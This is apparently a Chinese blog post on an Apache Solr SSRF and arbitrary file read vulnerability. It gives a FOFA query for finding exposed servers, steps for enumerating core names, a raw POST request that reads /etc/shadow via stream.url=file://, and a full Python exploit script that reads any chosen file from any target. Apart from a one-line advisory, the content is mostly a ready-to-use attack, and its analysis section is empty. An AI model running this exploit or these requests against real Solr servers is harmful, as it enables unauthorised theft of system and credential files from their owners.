Apache Solr SSRF 与任意文件读取漏洞

前言

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,基于 Lucene 的全文搜索服务器。

Apache Solr 全版本存在一个 SSRF 与任意文件读取漏洞,因 Apache Solr 整体默认安装为未授权,且大部分资产都为未授权,提供众多 api 接口,支持未授权用户通过 config api 更改配置文件,攻击面较大。建议相关用户及时采取措施阻止攻击。

影响范围

Apache Solr 所有版本

漏洞复现

fofa 查询资产关键字:

1
app="APACHE-Solr"

1. 首先访问目标 url 拼接下面的路径,获取实例对象的名称

1
/solr/admin/cores?indexInfo=false&wt=json

获取实例名称

如图,可以得到实例对象的名称为 Tourist-guide-Server

2. 构造路径

1
/solr/".iii."/debug/dump?param=ContentStreams&wt=json

其中 iii 就是我们前面得到的实例对象的名称 这里,我们构造之后为下面这个 (这个地址作为 post 请求的地址):

1
/solr/Tourist-guide-Server/debug/dump?param=ContentStreams&wt=json

而 post 数据中的 body 的内容为:stream.url=file:///etc/passwd

即 (发送这个数据包):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /solr/Tourist-guide-Server/debug/dump?param=ContentStreams&wt=json HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

stream.url=file:///etc/shadow

读取文件

漏洞分析

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import requests
import json
import urllib
import time
import re
def Getins(url):
    try:
        ins=""
        url = url+"solr/admin/cores?indexInfo=false&wt=json"
        response = requests.get(url=url)
        data = str(response.text)
        ins = re.findall(r'\"name\":\"(.+?)\",',data)[0]
        return(ins)
    except IndexError:
        return("")

def Getfile(url,ins,filename):
    try:
        url = url+"solr/"+ins+"/debug/dump?param=ContentStreams&wt=json"
        headers ={
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        payload = str("stream.url=file://"+filename)
        response = requests.post(url=url,headers=headers,data=payload)
        data = str(response.text)
        test = re.findall(r'\"stream\":\"(.+?)\"\}]',data)[0]
        print(test.replace(r"\n","\n"))
    except IndexError:
        print("不能读取此文件")
        

if __name__ == '__main__':
    url = input("请输入测试地址:")
    filename = input("请输入读取的文件路径:")
    ins=Getins(url)
    if(ins == ""):
        print("不存在漏洞")
    else:
        Getfile(url,ins,filename)

读取效果:

exp效果

0%